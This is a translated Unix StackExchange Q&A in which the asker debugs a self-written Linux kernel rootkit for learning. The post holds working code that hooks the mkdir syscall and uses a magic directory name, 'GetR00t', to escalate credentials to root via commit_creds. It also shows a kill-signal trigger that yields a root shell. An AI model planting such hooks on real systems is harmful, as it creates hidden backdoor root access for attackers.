Linux

為什麼從核心掛鉤系統呼叫時,kill的pid是zsh,而mkdir的pid是mkdir?

  • January 22, 2022

我正在編寫自己的 rootkit 來了解 Linux 核心。我想掛接到系統呼叫並將目前任務的憑據更改為根 (ieeuid=0) 的憑據。我看到你可以在執行 kill 時使用未使用的信號來做到這一點。如果您使用 kill 您可以獲取信號,檢查它是否與您設置的信號匹配,然後執行您的函式來更改為目前使用者 root 提供的憑據。

但是,當掛接到 mkdir 等其他系統呼叫時,這不起作用。這是因為執行 mkdir 時的目前程序是 mkdir 本身。但是,執行 kill 時的目前程序是我的 zsh shell,因此給了我 root。

我想在掛鉤 mkdir 時獲得 root 但由於上述原因,這不起作用,只會將 mkdir 更改為以 root 身份執行,而不是我的 zsh 實例。

我正在閱讀 LWN 的一些頁面(https://static.lwn.net/images/pdf/LDD3/ch02.pdf),它說“在執行系統呼叫期間,例如打開或讀取,目前程序是呼叫呼叫的那個。” 這讓我相信 mkdir 的目前程序應該是 zsh,因為那是呼叫呼叫的程序。

這是我連接到 mkdir 的程式碼

static asmlinkage long (*orig_mkdir)(const struct pt_regs *);

asmlinkage int fh_sys_mkdir(const struct pt_regs *regs)
{
   void set_root(void);

   printk(KERN_INFO "Intercepting mkdir call");
   
   char __user *pathname = (char *)regs->di;
   char dir[255] = {0};

   long err = strncpy_from_user(dir, pathname, 254);

   
   if (err > 0)
       {
       printk(KERN_INFO "rootkit: trying to create directory with name: %s\n", dir);
       }
       


   if ( (strcmp(dir, "GetR00t") == 0) )
       {
           //execl(SHELL, "sh", NULL);
           printk(KERN_INFO "rootkit: giving root...\n");
           set_root();
           return 0;
       }

   printk(KERN_INFO "ORIGINAL CALL");
   return orig_mkdir(regs);
   
}
   

以下是我更改憑據以實現 root 的方式。

void set_root(void)
     {
          printk(KERN_INFO "set_root called");
          printk(KERN_INFO "The process is \"%s\" (pid %i)\n", current->comm, current->pid);

          struct cred *root;
          root = prepare_creds();
          
          if (root == NULL)
          {
              printk(KERN_INFO "root is NULL");
              return;
          }

           printk(KERN_INFO "Setting privileges... ");
          /* Run through and set all the various *id's of the current user and set them all to 0 (root) */
           root->uid.val = root->gid.val = 0;
           root->euid.val = root->egid.val = 0;
           root->suid.val = root->sgid.val = 0;
           root->fsuid.val = root->fsgid.val = 0;


          /* Set the credentials to root */
          printk(KERN_INFO "Commiting creds");
          commit_creds(root);

     }

這是我執行 kill 和執行 mkdir 時顯示 pid 的日誌:

$ sudo tail /var/log/syslog 
[...SNIP...]
Jan 22 10:44:43 kali kernel: [ 6170.003662] The process is "mkdir" (pid 3338) //PID of current process when mkdir is ran
Jan 22 10:46:14 kali kernel: [ 6260.534752] The process is "zsh" (pid 1396) // PID of current process when kill is ran

這是它如何工作的展示:

┌──(kali㉿kali)-[~/Documents]
└─$ mkdir GetR00t            
                                                                                                                                                                                                                                                             
┌──(kali㉿kali)-[~/Documents]
└─$
----------------------------------------
┌──(kali㉿kali)-[~/Documents]
└─$ kill -64 1
                                                                                                                                                                                                                                                             
┌──(root💀kali)-[~/Documents]
└─# 

kill命令內置於zsh中,因此這就是所涉及的過程。mkdir是一個單獨的命令。

引用自:https://unix.stackexchange.com/questions/687477